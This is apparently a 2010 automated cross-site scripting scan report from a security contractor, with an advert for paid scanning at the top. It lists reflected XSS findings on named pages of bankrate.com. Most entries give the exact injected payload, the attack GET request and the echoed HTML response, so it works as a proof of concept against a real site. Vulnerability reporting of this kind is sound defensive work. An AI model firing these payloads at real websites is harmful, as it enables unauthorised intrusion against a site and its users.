Contractor for Hire: Per Minute, Per Day, Bounty Hunting

Example #1: Automated Vulnerability Crawler: $1/min, max charge is US $10 for 200 URL + 10 Params for
CWE-79, CWE-89 and CWE-113 (XSS, SQL Injection and HTTP Header Injection).
Example #2: Hybrid Risk Analysis: $2/min, max charge is US $30 for 200 URL + 10 Params, Manual Testing of High Value URI/Param targets.
Example #3: Penetration Testing: Individual Case Basis, use Live Chat for a Quote.
Example #4:
Report generated by XSS.CX at Fri Nov 05 11:14:48 CDT 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://www.bankrate.com/ [name of an arbitrarily supplied request parameter]

1.2. http://www.bankrate.com/finance/college-finance/can-son-put-college-loan-on-hold-again.aspx [name of an arbitrarily supplied request parameter]

1.3. http://www.bankrate.com/finance/college-finance/college-tax-break-tied-to-student-s-status.aspx [name of an arbitrarily supplied request parameter]

1.4. http://www.bankrate.com/finance/college-finance/taxes-loom-large-in-college-savings-choice.aspx [name of an arbitrarily supplied request parameter]

1.5. http://www.bankrate.com/finance/college-finance/the-rising-costs-of-college-1.aspx [name of an arbitrarily supplied request parameter]

1.6. http://www.bankrate.com/finance/college-finance/use-529-plan-cash-to-pay-college-loan.aspx [name of an arbitrarily supplied request parameter]

1.7. http://www.bankrate.com/finance/credit-cards/10-questions-before-getting-a-secured-credit-card-1.aspx [name of an arbitrarily supplied request parameter]

1.8. http://www.bankrate.com/finance/credit-cards/how-do-i-get-my-credit-report.aspx [name of an arbitrarily supplied request parameter]

1.9. http://www.bankrate.com/finance/credit-cards/settle-credit-card-debt-for-pennies-1.aspx [name of an arbitrarily supplied request parameter]

1.10. http://www.bankrate.com/finance/debt/11-credit-report-myths-1.aspx [name of an arbitrarily supplied request parameter]

1.11. http://www.bankrate.com/finance/debt/checking-and-reading-your-credit-report-1.aspx [name of an arbitrarily supplied request parameter]

1.12. http://www.bankrate.com/finance/personal-finance/check-estate-taxes-in-your-state.aspx [name of an arbitrarily supplied request parameter]

1.13. http://www.bankrate.com/finance/personal-finance/estate-tax-lies-in-limbo-but-for-how-long.aspx [name of an arbitrarily supplied request parameter]

1.14. http://www.bankrate.com/finance/taxes/avoiding-an-early-sep-ira-withdrawal-penalty.aspx [name of an arbitrarily supplied request parameter]

1.15. http://www.bankrate.com/finance/taxes/first-time-homebuyer-denied-tax-credit.aspx [name of an arbitrarily supplied request parameter]

1.16. http://www.bankrate.com/finance/video/taxes-choosing-a-tax-professional.aspx [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 16 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.bankrate.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7237b"style%3d"x%3aexpression(alert(1))"366f8734009 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7237b"style="x:expression(alert(1))"366f8734009 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /?7237b"style%3d"x%3aexpression(alert(1))"366f8734009=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb01
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:06:51 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 114455


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/?7237b"style="x:expression(alert(1))"366f8734009=1" />
...[SNIP]...

1.2. http://www.bankrate.com/finance/college-finance/can-son-put-college-loan-on-hold-again.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/college-finance/can-son-put-college-loan-on-hold-again.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ffaa6"style%3d"x%3aexpression(alert(1))"11e713bc60b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ffaa6"style="x:expression(alert(1))"11e713bc60b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/college-finance/can-son-put-college-loan-on-hold-again.aspx?ffaa6"style%3d"x%3aexpression(alert(1))"11e713bc60b=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb01
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:07:34 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 70816


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/college-finance/can-son-put-college-loan-on-hold-again.aspx?ffaa6"style="x:expression(alert(1))"11e713bc60b=1" />
...[SNIP]...

1.3. http://www.bankrate.com/finance/college-finance/college-tax-break-tied-to-student-s-status.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/college-finance/college-tax-break-tied-to-student-s-status.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c026"style%3d"x%3aexpression(alert(1))"73caf63d50 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9c026"style="x:expression(alert(1))"73caf63d50 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/college-finance/college-tax-break-tied-to-student-s-status.aspx?9c026"style%3d"x%3aexpression(alert(1))"73caf63d50=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb03
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:09:47 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 71266


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/college-finance/college-tax-break-tied-to-student-s-status.aspx?9c026"style="x:expression(alert(1))"73caf63d50=1" />
...[SNIP]...

1.4. http://www.bankrate.com/finance/college-finance/taxes-loom-large-in-college-savings-choice.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/college-finance/taxes-loom-large-in-college-savings-choice.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aada8"style%3d"x%3aexpression(alert(1))"83eab9704f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as aada8"style="x:expression(alert(1))"83eab9704f9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/college-finance/taxes-loom-large-in-college-savings-choice.aspx?aada8"style%3d"x%3aexpression(alert(1))"83eab9704f9=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb02
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:11:18 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 70091


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/college-finance/taxes-loom-large-in-college-savings-choice.aspx?aada8"style="x:expression(alert(1))"83eab9704f9=1" />
...[SNIP]...

1.5. http://www.bankrate.com/finance/college-finance/the-rising-costs-of-college-1.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/college-finance/the-rising-costs-of-college-1.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 402fc"style%3d"x%3aexpression(alert(1))"d9df3fc500e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 402fc"style="x:expression(alert(1))"d9df3fc500e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/college-finance/the-rising-costs-of-college-1.aspx?402fc"style%3d"x%3aexpression(alert(1))"d9df3fc500e=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb03
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:11:10 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 71265


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/college-finance/the-rising-costs-of-college-1.aspx?402fc"style="x:expression(alert(1))"d9df3fc500e=1" />
...[SNIP]...

1.6. http://www.bankrate.com/finance/college-finance/use-529-plan-cash-to-pay-college-loan.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/college-finance/use-529-plan-cash-to-pay-college-loan.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c001"style%3d"x%3aexpression(alert(1))"7f719eea74 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3c001"style="x:expression(alert(1))"7f719eea74 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/college-finance/use-529-plan-cash-to-pay-college-loan.aspx?3c001"style%3d"x%3aexpression(alert(1))"7f719eea74=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb03
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:19:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 69285


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/college-finance/use-529-plan-cash-to-pay-college-loan.aspx?3c001"style="x:expression(alert(1))"7f719eea74=1" />
...[SNIP]...

1.7. http://www.bankrate.com/finance/credit-cards/10-questions-before-getting-a-secured-credit-card-1.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/credit-cards/10-questions-before-getting-a-secured-credit-card-1.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35e11"style%3d"x%3aexpression(alert(1))"9532dcd5df was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 35e11"style="x:expression(alert(1))"9532dcd5df in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/credit-cards/10-questions-before-getting-a-secured-credit-card-1.aspx?35e11"style%3d"x%3aexpression(alert(1))"9532dcd5df=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb01
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:17:07 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 74396


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/credit-cards/10-questions-before-getting-a-secured-credit-card-1.aspx?35e11"style="x:expression(alert(1))"9532dcd5df=1" />
...[SNIP]...

1.8. http://www.bankrate.com/finance/credit-cards/how-do-i-get-my-credit-report.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/credit-cards/how-do-i-get-my-credit-report.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e5f2"style%3d"x%3aexpression(alert(1))"5a18925f10c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2e5f2"style="x:expression(alert(1))"5a18925f10c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/credit-cards/how-do-i-get-my-credit-report.aspx?2e5f2"style%3d"x%3aexpression(alert(1))"5a18925f10c=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb01
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:21:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 72662


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/credit-cards/how-do-i-get-my-credit-report.aspx?2e5f2"style="x:expression(alert(1))"5a18925f10c=1" />
...[SNIP]...

1.9. http://www.bankrate.com/finance/credit-cards/settle-credit-card-debt-for-pennies-1.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/credit-cards/settle-credit-card-debt-for-pennies-1.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d3ca"style%3d"x%3aexpression(alert(1))"def0a111669 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9d3ca"style="x:expression(alert(1))"def0a111669 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/credit-cards/settle-credit-card-debt-for-pennies-1.aspx?9d3ca"style%3d"x%3aexpression(alert(1))"def0a111669=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb02
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:22:04 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 71334


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/credit-cards/settle-credit-card-debt-for-pennies-1.aspx?9d3ca"style="x:expression(alert(1))"def0a111669=1" />
...[SNIP]...

1.10. http://www.bankrate.com/finance/debt/11-credit-report-myths-1.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/debt/11-credit-report-myths-1.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f4ed"style%3d"x%3aexpression(alert(1))"e5382bddcb7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9f4ed"style="x:expression(alert(1))"e5382bddcb7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/debt/11-credit-report-myths-1.aspx?9f4ed"style%3d"x%3aexpression(alert(1))"e5382bddcb7=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb01
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:22:55 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 71942


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/debt/11-credit-report-myths-1.aspx?9f4ed"style="x:expression(alert(1))"e5382bddcb7=1" />
...[SNIP]...

1.11. http://www.bankrate.com/finance/debt/checking-and-reading-your-credit-report-1.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/debt/checking-and-reading-your-credit-report-1.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 728d9"style%3d"x%3aexpression(alert(1))"c38e75ffa70 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 728d9"style="x:expression(alert(1))"c38e75ffa70 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/debt/checking-and-reading-your-credit-report-1.aspx?728d9"style%3d"x%3aexpression(alert(1))"c38e75ffa70=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb01
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:23:40 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 72532


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/debt/checking-and-reading-your-credit-report-1.aspx?728d9"style="x:expression(alert(1))"c38e75ffa70=1" />
...[SNIP]...

1.12. http://www.bankrate.com/finance/personal-finance/check-estate-taxes-in-your-state.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/personal-finance/check-estate-taxes-in-your-state.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d41f2"style%3d"x%3aexpression(alert(1))"6aff4f10ab8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d41f2"style="x:expression(alert(1))"6aff4f10ab8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/personal-finance/check-estate-taxes-in-your-state.aspx?d41f2"style%3d"x%3aexpression(alert(1))"6aff4f10ab8=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb03
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:25:57 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 138075


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/personal-finance/check-estate-taxes-in-your-state.aspx?d41f2"style="x:expression(alert(1))"6aff4f10ab8=1" />
...[SNIP]...

1.13. http://www.bankrate.com/finance/personal-finance/estate-tax-lies-in-limbo-but-for-how-long.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/personal-finance/estate-tax-lies-in-limbo-but-for-how-long.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cb5d"style%3d"x%3aexpression(alert(1))"03ae4818135 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2cb5d"style="x:expression(alert(1))"03ae4818135 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/personal-finance/estate-tax-lies-in-limbo-but-for-how-long.aspx?2cb5d"style%3d"x%3aexpression(alert(1))"03ae4818135=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb03
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:26:19 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 136338


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/personal-finance/estate-tax-lies-in-limbo-but-for-how-long.aspx?2cb5d"style="x:expression(alert(1))"03ae4818135=1" />
...[SNIP]...

1.14. http://www.bankrate.com/finance/taxes/avoiding-an-early-sep-ira-withdrawal-penalty.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/taxes/avoiding-an-early-sep-ira-withdrawal-penalty.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df3fd"style%3d"x%3aexpression(alert(1))"7575b7951d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as df3fd"style="x:expression(alert(1))"7575b7951d in the application's response.

